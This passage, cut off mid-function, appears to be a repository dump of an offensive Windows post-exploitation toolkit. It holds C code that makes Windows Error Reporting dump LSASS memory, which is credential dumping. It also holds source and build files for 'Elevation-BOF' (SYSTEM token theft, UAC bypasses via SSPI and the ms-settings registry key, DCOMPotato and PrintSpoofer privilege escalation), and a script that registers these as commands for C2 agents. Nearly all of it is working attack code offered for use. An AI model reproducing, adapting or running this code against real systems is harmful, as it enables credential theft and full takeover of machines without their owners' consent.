};\n    RtlInitUnicodeString_t RtlInitUnicodeString = NULL;\n\n    RtlInitUnicodeString = (RtlInitUnicodeString_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlInitUnicodeString_SW2_HASH,\n        0);\n    if (!RtlInitUnicodeString)\n    {\n        api_not_found(\"RtlInitUnicodeString\");\n        status = STATUS_UNSUCCESSFUL;\n        goto end;\n    }\n\n    RtlInitUnicodeString(&UnicodeString, L\"\\\\KernelObjects\\\\SystemErrorPortReady\");\n\n    InitializeObjectAttributes(\n        &ObjectAttributes,\n        &UnicodeString,\n        0,\n        NULL,\n        NULL);\n\n    status = NtOpenEvent(\n        &hEvent,\n        0x100001,\n        &ObjectAttributes);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenEvent\", status);\n        goto end;\n    }\n\n    if ((LONG32)wait_time != -1)\n    {\n        TimeOut.QuadPart = (ULONG64)wait_time * -10000;\n    }\n\n    status = NtWaitForSingleObject(\n        hEvent,\n        FALSE,\n        &TimeOut);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWaitForSingleObject\", status);\n        goto end;\n    }\n\n    DPRINT(\"The WER is ready\");\n\nend:\n    if (hEvent)\n        NtClose(hEvent);\n\n    return status;\n}\n\nNTSTATUS SendMessageToWERService(\n    IN OUT PWER_API_MESSAGE_SEND api_message_send,\n    IN OUT PWER_API_MESSAGE_RECV api_message_recv)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    SID sid = { 0 };\n    SID_IDENTIFIER_AUTHORITY NtAuthority = { SECURITY_NT_AUTHORITY };\n    HANDLE hPort = NULL;\n    UNICODE_STRING ustr_port_name = { 0 };\n    LARGE_INTEGER TimeOut = { 0 };\n    RtlInitUnicodeString_t RtlInitUnicodeString = NULL;\n    OBJECT_ATTRIBUTES object_attributes = { 0 };\n    ALPC_PORT_ATTRIBUTES port_attributes = { 0 };\n    SIZE_T BufferLength = sizeof(WER_API_MESSAGE_SEND);\n    ULONG64 wait_time = 0;\n    ULONG32 wait_time_1 = 0;\n    ULONG32 wait_time_2 = 0;\n\n    RtlInitUnicodeString = (RtlInitUnicodeString_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlInitUnicodeString_SW2_HASH,\n        0);\n    if (!RtlInitUnicodeString)\n    {\n        api_not_found(\"RtlInitUnicodeString\");\n        status = STATUS_UNSUCCESSFUL;\n        goto end;\n    }\n\n    status = SignalStartWerSvc();\n    if (!NT_SUCCESS(status))\n    {\n        goto end;\n    }\n\n    // get the timeout times\n    status = NtQuerySystemInformation(\n        SystemErrorPortTimeouts,\n        &wait_time,\n        sizeof(ULONG64),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQuerySystemInformation\", status);\n        goto end;\n    }\n    wait_time_1 = wait_time & 0xffffffff;\n    wait_time_2 = (wait_time >> 32) & 0xffffffff;\n\n    status = WaitForWerSvc(wait_time_1);\n    if (!NT_SUCCESS(status))\n    {\n        goto end;\n    }\n\n    sid.Revision = 1;\n    sid.SubAuthorityCount = 1;\n    sid.IdentifierAuthority = NtAuthority;\n    sid.SubAuthority[0] = 0x12;\n\n    RtlInitUnicodeString(&ustr_port_name, L\"\\\\WindowsErrorReportingServicePort\");\n\n    InitializeObjectAttributes(\n        &object_attributes,\n        NULL,\n        0,\n        NULL,\n        NULL);\n\n    port_attributes.MaxMessageLength = sizeof(WER_API_MESSAGE_SEND);\n\n    if ((LONG32)wait_time_2 != -1)\n    {\n        TimeOut.QuadPart = (ULONG64)wait_time_2 * -10000;\n    }\n\n    status = NtAlpcConnectPort(\n        &hPort,\n        &ustr_port_name,\n        &object_attributes,\n        &port_attributes,\n        0x20000,\n        &sid,\n        NULL,\n        NULL,\n        NULL,\n        NULL,\n        &TimeOut);\n    if (!NT_SUCCESS(status) || status == STATUS_TIMEOUT)\n    {\n        syscall_failed(\"NtAlpcConnectPort\", status);\n        goto end;\n    }\n\n    DPRINT(\"Port handle: 0x%p\", hPort);\n\n    status = NtAlpcSendWaitReceivePort(\n        hPort,\n        0x20000,\n        &api_message_send->port_message,\n        NULL,\n        &api_message_recv->port_message,\n        &BufferLength,\n        NULL,\n        &TimeOut);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtAlpcSendWaitReceivePort\", status);\n        goto end;\n    }\n\n    DPRINT(\"Sent the message to the WER service\");\n\nend:\n    if (hPort)\n        NtClose(hPort);\n\n    return status;\n}\n\nBOOL rtl_report_silent_process_exit(\n    IN DWORD lsass_pid)\n{\n    BOOL success = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    HANDLE hDupedHandle = NULL;\n    DWORD process_id = 0;\n    DWORD thread_id = 0;\n    WER_API_MESSAGE_SEND api_message_send = { 0 };\n    WER_API_MESSAGE_RECV api_message_recv = { 0 };\n\n    process_id = (DWORD)(ULONG_PTR)((struct TEB*)NtCurrentTeb())->ClientId.UniqueProcess;\n    thread_id = (DWORD)(ULONG_PTR)((struct TEB*)NtCurrentTeb())->ClientId.UniqueThread;\n    if (!lsass_pid || !process_id || !thread_id)\n    {\n        status = STATUS_UNSUCCESSFUL;\n        goto end;\n    }\n\n    DPRINT(\"LSASS PID: %ld, PID: %ld, TID: %ld\", lsass_pid, process_id, thread_id);\n\n    api_message_recv.port_message.u1.s1.DataLength = sizeof(WER_API_MESSAGE_RECV) - sizeof(PORT_MESSAGE);\n    api_message_recv.port_message.u1.s1.TotalLength = sizeof(WER_API_MESSAGE_RECV);\n    api_message_send.port_message.u1.s1.DataLength = sizeof(WER_API_MESSAGE_SEND) - sizeof(PORT_MESSAGE);\n    api_message_send.port_message.u1.s1.TotalLength = sizeof(WER_API_MESSAGE_SEND);\n    api_message_send.value1 = 0x30000000;\n    api_message_send.ThreadId = thread_id;\n    api_message_send.ProcessId = process_id;\n    api_message_send.TargetProcessId = lsass_pid;\n\n    status = SendMessageToWERService(\n        &api_message_send,\n        &api_message_recv);\n\n    if (NT_SUCCESS(status) && status != STATUS_TIMEOUT)\n    {\n        do\n        {\n            status = NtWaitForSingleObject(\n                api_message_recv.Handle,\n                TRUE,\n                NULL);\n            if (!NT_SUCCESS(status) || status == STATUS_TIMEOUT)\n                break;\n\n        } while (status == STATUS_USER_APC || status == STATUS_ALERTED);\n        if (api_message_recv.Handle)\n            NtClose(api_message_recv.Handle);\n    }\n\n    if (NT_SUCCESS(status))\n        success = TRUE;\n\nend:\n    if (hDupedHandle)\n        NtClose(hDupedHandle);\n\n    return success;\n}\n\nBOOL werfault_silent_process_exit(\n    IN DWORD lsass_pid,\n    IN LPCSTR dump_folder)\n{\n    BOOL success = FALSE;\n    HANDLE SPEregKeyHandleSub = NULL;\n    HANDLE IFEOregKeyHandle = NULL;\n    CHAR dump_name[MAX_PATH] = { 0 };\n\n    success = set_registry_keys(&SPEregKeyHandleSub, &IFEOregKeyHandle, dump_folder);\n    if (!success)\n    {\n        PRINT_ERR(\"Failed to set the appropiate registry keys\");\n        goto end;\n    }\n\n    success = rtl_report_silent_process_exit(lsass_pid);\n    if (!success)\n    {\n        PRINT_ERR(\"WerFault did not create the dump\");\n        goto end;\n    }\n\n    sprintf_s(dump_name, MAX_PATH, \"lsass.exe-(PID-%ld).dmp\", lsass_pid);\n    print_success(dump_name, TRUE, FALSE);\n\n    success = TRUE;\n\nend:\n    cleanup_registry_keys(SPEregKeyHandleSub, IFEOregKeyHandle);\n    if (SPEregKeyHandleSub)\n        NtClose(SPEregKeyHandleSub);\n    if (IFEOregKeyHandle)\n        NtClose(IFEOregKeyHandle);\n\n    return success;\n}\n\n// this doesn't work for some reason\nBOOL werfault_create_thread(\n    IN HANDLE hProcess)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    PVOID addr_RtlReportSilentProcessExit = NULL;\n    HANDLE hThread = NULL;\n\n    // get the address of RtlReportSilentProcessExit\n    addr_RtlReportSilentProcessExit = get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlReportSilentProcessExit_SW2_HASH,\n        0);\n    if (!addr_RtlReportSilentProcessExit)\n    {\n        PRINT_ERR(\"Could not find the address of RtlReportSilentProcessExit\");\n        return FALSE;\n    }\n    DPRINT(\"Address of RtlReportSilentProcessExit: 0x%p\", addr_RtlReportSilentProcessExit);\n\n    status = NtCreateThreadEx(\n        &hThread,\n        THREAD_ALL_ACCESS,\n        NULL,\n        hProcess,\n        addr_RtlReportSilentProcessExit,\n        NtCurrentProcess(), // first param, this will be LSASS' own handle\n        0,\n        0,\n        0,\n        0,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        PRINT_ERR(\"Failed to create the thread in \" LSASS);\n        return FALSE;\n    }\n\n    DPRINT(\"Thread handle: 0x%p\", hThread);\n\n    NtClose(hThread); hThread = NULL;\n\n    return TRUE;\n}\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM debian:bookworm-slim\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n    ca-certificates \\\n    make \\\n    build-essential \\\n    python3 \\\n    gcc-mingw-w64-x86-64 \\\n    g++-mingw-w64-x86-64 \\\n    gcc-mingw-w64-i686 \\\n    g++-mingw-w64-i686 \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /src\n\nCMD [\"make\", \"all\"]"
  },
  {
    "path": "Elevation-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Elevation-BOF C CXX)\n\nset(CMAKE_C_STANDARD 99)\nset(CMAKE_CXX_STANDARD 11)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(GETSYSTEM_TOKEN_SOURCES getsystem_token/getsystem_token.c)\nset(UAC_REGSHELLCMD_SOURCES uac_regshellcmd/RegistryShellCommandBOF.c)\nset(PRINTSPOOFER_SOURCES printspoofer/printspoofer.c)\nset(UAC_SSPI_SOURCES uac_sspi/SspiUacBypassBOF.cpp)\nset(DCOMPOTATO_SOURCES potato-dcom/DCOMPotato.cpp)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-int-conversion -Wno-incompatible-pointer-types\")\nset(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -Os -w\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\nset(CMAKE_CXX_FLAGS_RELEASE \"${CMAKE_CXX_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(getsystem_token OBJECT ${GETSYSTEM_TOKEN_SOURCES})\nadd_library(uac_regshellcmd OBJECT ${UAC_REGSHELLCMD_SOURCES})\nadd_library(printspoofer OBJECT ${PRINTSPOOFER_SOURCES})\ntarget_compile_definitions(printspoofer PRIVATE BOF)\n\nadd_library(uac_sspi OBJECT ${UAC_SSPI_SOURCES})\n\nadd_library(DCOMPotato OBJECT ${DCOMPOTATO_SOURCES})\ntarget_compile_options(DCOMPotato PRIVATE\n    -masm=intel\n    -nostdlib\n    -Wno-nonnull\n    -fno-asynchronous-unwind-tables\n    -fno-exceptions\n    -fno-rtti\n)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_getsystem_token ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:getsystem_token> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/getsystem_token.x64.o\n    DEPENDS getsystem_token\n    COMMENT \"Copying getsystem_token object file\"\n)\n\nadd_custom_target(copy_uac_regshellcmd ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uac_regshellcmd> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uac_regshellcmd.x64.o\n    DEPENDS uac_regshellcmd\n    COMMENT \"Copying uac_regshellcmd object file\"\n)\n\nadd_custom_target(copy_printspoofer ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:printspoofer> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/printspoofer.x64.o\n    DEPENDS printspoofer\n    COMMENT \"Copying printspoofer object file\"\n)\n\nadd_custom_target(copy_uac_sspi ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uac_sspi> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uac_sspi.x64.o\n    DEPENDS uac_sspi\n    COMMENT \"Copying uac_sspi object file\"\n)\n\nadd_custom_target(copy_DCOMPotato ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:DCOMPotato> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/DCOMPotato.x64.o\n    DEPENDS DCOMPotato\n    COMMENT \"Copying DCOMPotato object file\"\n)\n"
  },
  {
    "path": "Elevation-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nCPP64 = x86_64-w64-mingw32-g++\nCPP86 = i686-w64-mingw32-g++\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-int-conversion -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin' || echo '_bin exists'\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) getsystem_token/getsystem_token.c -o _bin/getsystem_token.x64.o && $(STRIP64) _bin/getsystem_token.x64.o) && echo '[+] getsystem_token' || echo '[!] getsystem_token'\n\t@($(CC64) $(CFLAGS) uac_regshellcmd/RegistryShellCommandBOF.c -o _bin/uac_regshellcmd.x64.o && $(STRIP64) _bin/uac_regshellcmd.x64.o) && echo '[+] uac_regshellcmd' || echo '[!] uac_regshellcmd'\n\t@($(CC64) $(CFLAGS) printspoofer/printspoofer.c -o _bin/printspoofer.x64.o && $(STRIP64) _bin/printspoofer.x64.o) && echo '[+] printspoofer' || echo '[!] printspoofer'\n\t@($(CPP64) -I ../_include -w -Os -s -c -o _bin/uac_sspi.x64.o uac_sspi/SspiUacBypassBOF.cpp && $(STRIP64) _bin/uac_sspi.x64.o) && echo '[+] uac_sspi' || echo '[!] uac_sspi'\n\t@($(CPP64) -I ../_include -w -Os -s -c -o _bin/DCOMPotato.x64.o potato-dcom/DCOMPotato.cpp -masm=intel -nostdlib -Wno-nonnull -fno-asynchronous-unwind-tables -fno-exceptions -fno-rtti && $(STRIP64) _bin/DCOMPotato.x64.o) && echo '[+] DCOMPotato' || echo '[!] DCOMPotato'\n\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) getsystem_token/getsystem_token.c -o _bin/getsystem_token.x32.o && $(STRIP86) _bin/getsystem_token.x32.o) && echo '[+] getsystem_token (x32)' || echo '[!] getsystem_token (x32)'\n\t@($(CC86) $(CFLAGS) uac_regshellcmd/RegistryShellCommandBOF.c -o _bin/uac_regshellcmd.x32.o && $(STRIP86) _bin/uac_regshellcmd.x32.o) && echo '[+] uac_regshellcmd (x32)' || echo '[!] uac_regshellcmd (x32)'\n\t@($(CC86) $(CFLAGS) printspoofer/printspoofer.c -o _bin/printspoofer.x32.o && $(STRIP86) _bin/printspoofer.x32.o) && echo '[+] printspoofer (x32)' || echo '[!] printspoofer (x32)'\n\t@($(CPP86) -I ../_include -w -Os -s -c -o _bin/uac_sspi.x32.o uac_sspi/SspiUacBypassBOF.cpp && $(STRIP86) _bin/uac_sspi.x32.o) && echo '[+] uac_sspi (x32)' || echo '[!] uac_sspi (x32)'\n\t@($(CPP86) -I ../_include -w -Os -s -c -o _bin/DCOMPotato.x32.o potato-dcom/DCOMPotato.cpp -masm=intel -nostdlib -Wno-nonnull -fno-asynchronous-unwind-tables -fno-exceptions -fno-rtti && $(STRIP86) _bin/DCOMPotato.x32.o) && echo '[+] DCOMPotato (x32)' || echo '[!] DCOMPotato (x32)'\n\n\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "Elevation-BOF/README.md",
    "content": "# Elevation-BOF\n\nBOFs for context elevation\n\n![](_img/01.png)\n\n\n\n## getsystem token\n\nElevate the current agent to SYSTEM and gain the TrustedInstaller group privilege through impersonation.\n\n```\ngetsystem token\n```\n\nThe Get System item will be added to the Access menu in the table and the sessions column.\n\n![](_img/02.png)\n\n\n\n## uacbybass sspi\n\nForges a token from a fake network authentication though SSPI Datagram  Contexts. It will then impersonate the forged token and use CreateSvcRpc by [@x86matthew](https://twitter.com/x86matthew) to create a new SYSTEM service. Original research and code is from [@splinter_code](https://twitter.com/splinter_code).\n\n```\nuacbybass sspi <file.exe>\n```\n\n\n\n## uacbypass registryshellcmd\n\nModifies the \"ms-settings\\Shell\\Open\\command\" registry key and executes an auto-elevated EXE (ComputerDefaults.exe).\n\n```\nuacbypass registryshellcmd <file.exe>\n```\n\n\n\n## potato-dcom\n\nBOF version of [DCOMPotato](https://github.com/zcgonvh/DCOMPotato). Obtain SYSTEM privilege with SeImpersonate privilege by passing a malicious IUnknwon object to DCOM call of PrintNotify.\n\n```\npotato-dcom --token\npotato-dcom --run <program with args>\n```\n\n\n## potato-print\n\nBOF version of [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser().\n\n```\npotato-print --token\npotato-print --run <program with args>\n```\n\n\n## Credits\n\n* Elevate-System-Trusted-BOF - https://github.com/Mr-Un1k0d3r/Elevate-System-Trusted-BOF\n* UAC-BOF-Bonanza - https://github.com/icyguider/UAC-BOF-Bonanza\n* BOF-DCOMPotato-PrintNotify - https://github.com/Hagrid29/BOF-DCOMPotato-PrintNotify\n* PrintSpoofer-BOF - https://github.com/SlimeOnSecurity/PrintSpoofer-BOF"
  },
  {
    "path": "Elevation-BOF/elevate.axs",
    "content": "var metadata = {\n    name: \"Elevation-BOF\",\n    description: \"BOFs for context elevation\"\n};\n\n/// COMMANDS\n\nvar _cmd_getsystem_token = ax.create_command(\"token\", \"Elevate the current agent to SYSTEM and gain the TrustedInstaller group privilege through impersonation\", \"getsystem token\");\n_cmd_getsystem_token.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hook = function (task)\n    {\n        if(/Impersonate to SYSTEM & TrustedInstaller succeeded/.test(task.text)) {\n            ax.agent_set_impersonate(task.agent, \"SYSTEM\", true);\n        }\n        return task;\n    }\n\n    let bof_path = ax.script_dir() + \"_bin/getsystem_token.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Get system via token (BOF)\", hook);\n});\nvar cmd_getsystem = ax.create_command(\"getsystem\", \"Elevate context to SYSTEM\");\ncmd_getsystem.addSubCommands([_cmd_getsystem_token]);\n\n\nvar _cmd_uacbybass_sspi = ax.create_command(\"sspi\", \"Forges a token from a fake network authentication though SSPI Datagram Contexts\", \"uacbybass sspi c:\\\\windows\\\\tasks\\\\agent.exe\");\n_cmd_uacbybass_sspi.addArgString(\"path\", true);\n_cmd_uacbybass_sspi.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let path = parsed_json[\"path\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [path]);\n    let bof_path = ax.script_dir() + \"_bin/uac_sspi.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: UAC Bypass (SSPI Datagram Contexts)\");\n});\nvar _cmd_uacbybass_regshell = ax.create_command(\"regshellcmd\", \"Modifies the \\\"ms-settings\\\\Shell\\\\Open\\\\command\\\" registry key and executes an auto-elevated EXE (ComputerDefaults.exe).\", \"uacbybass regshellcmd c:\\\\windows\\\\tasks\\\\agent.exe\");\n_cmd_uacbybass_regshell.addArgString(\"path\", true);\n_cmd_uacbybass_regshell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let path = parsed_json[\"path\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [path]);\n    let bof_path = ax.script_dir() + \"_bin/uac_regshellcmd.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: UAC Bypass (registry key Command)\");\n});\nvar cmd_uacbybass = ax.create_command(\"uacbybass\", \"Perform UAC bypass\");\ncmd_uacbybass.addSubCommands([_cmd_uacbybass_sspi, _cmd_uacbybass_regshell]);\n\n\nvar cmd_dcom_potato = ax.create_command(\"potato-dcom\", \"DCOMPotato - get SYSTEM via SeImpersonate privileges.\", \"potato-dcom --run C:\\\\Windows\\\\System32\\\\cmd.exe /c whoami /all\");\ncmd_dcom_potato.addArgBool( \"--token\", \"Elevate the current agent to SYSTEM context\");\ncmd_dcom_potato.addArgFlagString( \"--run\", \"program\", false, \"Run new process in SYSTEM context (Program with arguments)\");\ncmd_dcom_potato.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let use_token = 0;\n    let run_program = \"\";\n\n    if(parsed_json[\"--token\"]) { use_token = 1; }\n    if(\"program\" in parsed_json) { run_program = parsed_json[\"program\"]; }\n\n    if( (use_token && run_program.length) || (!use_token && run_program.length == 0) ) { throw new Error(\"Use only --token or --run\"); }\n\n    let bof_path = ax.script_dir() + \"_bin/DCOMPotato.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"int,wstr\", [use_token, run_program]);\n\n    if (use_token) {\n        let hook = function (task)\n        {\n            if(/Impersonate to SYSTEM succeeded/.test(task.text)) {\n                ax.agent_set_impersonate(task.agent, \"SYSTEM\", true);\n            }\n            return task;\n        }\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF DCOMPotato: elevate to SYSTEM\", hook);\n    }\n    else {\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `BOF DCOMPotato: run ${run_program}`);\n    }\n});\n\n\n\nvar cmd_printspoofer = ax.create_command(\"potato-print\", \"LPE via Print Spooler (Named Pipe Impersonation)\", \"potato-print --token\");\ncmd_printspoofer.addArgBool( \"--token\", \"Elevate the current agent to SYSTEM context\");\ncmd_printspoofer.addArgFlagString( \"--run\", \"program\", false, \"Run new process in SYSTEM context (Program with arguments)\");\ncmd_printspoofer.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let use_token = 0;\n    let run_program = \"\";\n\n    if(parsed_json[\"--token\"]) { use_token = 1; }\n    if(parsed_json.hasOwnProperty(\"program\")) { run_program = parsed_json[\"program\"]; }\n\n    if( (use_token && run_program.length) || (!use_token && run_program.length == 0) ) { throw new Error(\"Use only --token or --run\"); }\n\n    let bof_path = ax.script_dir() + \"_bin/printspoofer.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"int,wstr\", [use_token, run_program]);\n\n    if (use_token) {\n        let hook = function (task)\n        {\n            if(/Impersonate to SYSTEM succeeded/.test(task.text)) {\n                ax.agent_set_impersonate(task.agent, \"SYSTEM\", true);\n            }\n            return task;\n        }\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF PrintSpoofer: elevate to SYSTEM\", hook);\n    }\n    else {\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `BOF PrintSpoofer: run ${run_program}`);\n    }\n});\n\n\n\nvar group_test = ax.create_commands_group(\"Elevation-BOF\", [cmd_getsystem, cmd_uacbybass, cmd_dcom_potato, cmd_printspoofer]);\nax.register_commands_group(group_test, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n\n\n\n/// MENU\n\nlet system_access_action = menu.create_action(\"Get System\", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, \"getsystem token\")) });\nmenu.add_session_access(system_access_action, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"]);"
  },
  {
    "path": "Elevation-BOF/getsystem_token/getsystem_token.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <tlhelp32.h>\n#include \"beacon.h\"\n\nWINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI HANDLE  WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);\nWINBASEAPI HANDLE  WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINBASEAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken);\nWINBASEAPI DWORD   WINAPI KERNEL32$GetLastError(VOID);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);\nWINBASEAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);\nWINBASEAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE InfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);\nWINBASEAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCSTR *lpServiceArgVectors);\nWINBASEAPI DWORD WINAPI KERNEL32$SleepEx(DWORD dwMilliseconds, WINBOOL bAlertable);\n\nint my_strcmp(const char *s1, const char *s2)\n{\n    while (*s1 && (*s1 == *s2)) {\n        s1++;\n        s2++;\n    }\n    return *(unsigned char*)s1 - *(unsigned char*)s2;\n}\n\nDWORD GetProcByPID(CHAR *name)\n{\n    HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    DWORD PID = 0;\n    PROCESSENTRY32 pe32;\n    pe32.dwSize = sizeof(PROCESSENTRY32);\n\n    if(KERNEL32$Process32First(hSnap, &pe32)) {\n        do {\n            if(my_strcmp(pe32.szExeFile, name) == 0) {\n                PID = pe32.th32ProcessID;\n                break;\n            }\n        } while(KERNEL32$Process32Next(hSnap, &pe32));\n    }\n\n    KERNEL32$CloseHandle(hSnap);\n    return PID;\n}\n\nDWORD GetTrustedInstallerPID()\n{\n    DWORD PID = 0;\n    SC_HANDLE schManager = ADVAPI32$OpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);\n    if(schManager == NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"OpenSCManager failed. Error: %d\\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    SC_HANDLE schService = ADVAPI32$OpenServiceA(schManager, \"TrustedInstaller\", SERVICE_QUERY_STATUS | SERVICE_START);\n     if(schManager == NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"OpenService failed. Error: %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(schManager);\n        return FALSE;\n    }\n    KERNEL32$CloseHandle(schManager);\n\n    SERVICE_STATUS_PROCESS ssp;\n    DWORD dwSize = 0;\n\n    while(ADVAPI32$QueryServiceStatusEx(schService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwSize)) {\n        if(ssp.dwCurrentState == SERVICE_STOPPED) {\n            if(!ADVAPI32$StartServiceA(schService, 0, NULL)) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"StartService failed. Error: %d\\n\", KERNEL32$GetLastError());\n                KERNEL32$CloseHandle(schService);\n                return FALSE;\n            }\n        }\n        if(ssp.dwCurrentState == SERVICE_RUNNING) {\n            PID = ssp.dwProcessId;\n            break;\n        }\n        KERNEL32$SleepEx(5000, FALSE);\n    }\n\n    KERNEL32$CloseHandle(schService);\n    return PID;\n}\n\nBOOL ImpersonateByPID(DWORD PID, HANDLE *hStorage)\n{\n    HANDLE hProc = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, PID);\n    if(hProc == NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"OpenProcess on PID %d failed. Error: %d\\n\", PID, KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    HANDLE hToken = NULL;\n    if(!ADVAPI32$OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"OpenProcessToken on PID %d failed. Error: %d\\n\", PID, KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hProc);\n        return FALSE;\n    }\n    KERNEL32$CloseHandle(hProc);\n\n    HANDLE hDup = NULL;\n    SECURITY_ATTRIBUTES sa;\n    sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n    sa.lpSecurityDescriptor = NULL;\n    sa.bInheritHandle = FALSE;\n\n    if(!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, &sa, SecurityImpersonation, TokenImpersonation, &hDup)) {\n        